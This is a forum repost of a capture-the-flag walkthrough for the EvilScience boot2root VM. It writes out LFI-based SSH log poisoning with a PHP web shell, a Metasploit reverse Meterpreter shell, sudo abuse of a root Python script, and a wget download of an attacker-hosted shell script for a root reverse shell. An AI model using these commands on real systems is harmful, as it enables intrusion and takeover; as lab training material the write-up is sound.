• We just launched and are currently in beta. Join us as we build and grow the community.

Hack The Ether: EvilScience VM (CTF Challenge)

anestivas11

Real-Time Systems Developer
A Rep
0
0
0
Rep
0
A Vouches
0
0
0
Vouches
0
Posts
86
Likes
157
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 500 XP
Hello friends! Today we are going to take another CTF challenge known as The Ether: EvilScience. The credit for making this vm machine goes to ā€œf1re_w1reā€ and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM here.

Letā€™s Breach!!!

Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.146 but you will have to find your own)

netdiscover

1.1.png


Use nmap for port enumeration.

nmap -sV 192.168.1.146

1.png


Nmap scan shows us port 80 is open, so we open the ip address in our browser.

2.png


We find that the site is vulnerable to LFI. Going through the pages we find that the index.php file is vulnerable to LFI

3.png


We can access auth.log with LFI. We use burpsuite to check the response and we find that we can use ssh log poisoning to get access to server.

4.png


We now login with username as basic php shell to use command injection.

ssh ā€˜<?php system($_GET[ā€˜Cā€™]);?>ā€™@192.168.1.146

5.png


Now we check if log injection is possible we try to run ā€˜lsā€™ command and find that log injection is possible.

6.png


We use web_delivery script in metasploit to gain reverse shell.

msf > use multi/script/web_delivery

msf exploit(web_delivery) > set target 1

msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp

msf exploit(web_delivery) > set lhost 192.168.1.131

msf exploit(web_delivery) > set lport 4444

msf exploit(web_delivery) > run

7.png


Now we run python to run our web delivery script to bypass the firewall.

8.png


As soon as we get send the request we get the reverse shell.

9.png


Now we spawn tty shell with python.

python -c ā€˜import pty; pty.spawn(ā€œ/bin/bashā€);ā€™

10.png


Now we take look at the sudoers file. We find that we donā€™t need need password to run a python file as root.

11.png


Now we run the file as root. When we run the file we find that it opens log file so we use pipe to run our commands. We run id command and find that we can execute commands as root.

12.png


Now we setup our listener using netcat.

nc -lvp 5555

13.png


Now we create a python shell and save it into our /var/www/html folder.

14.png


We download it inside /tmp folder on the target VM using wget.

wget http://192.168.1.108/shell.py -O /tmp/shell.py

15.png


Letā€™s run the shell using python program in the target machine.

16.png


Now as soon as we run the shell we get the reverse shell. We run the id command to check the user. We move to the root directory and find an image file called flag.png

17.png


We check the strings inside the image using tail command.

tail flag.png

Inside the image file we find a flag in base64 encode.

18.png


We decode the base64 encoded string.

echo ā€˜base64-encoded-stringā€™ | base64 -d

19.png


Author: Sayantan Bera is a technical writer at hacking articles and cyber security enthusiast. Contact Here
 

434,295

313,335

313,344

Top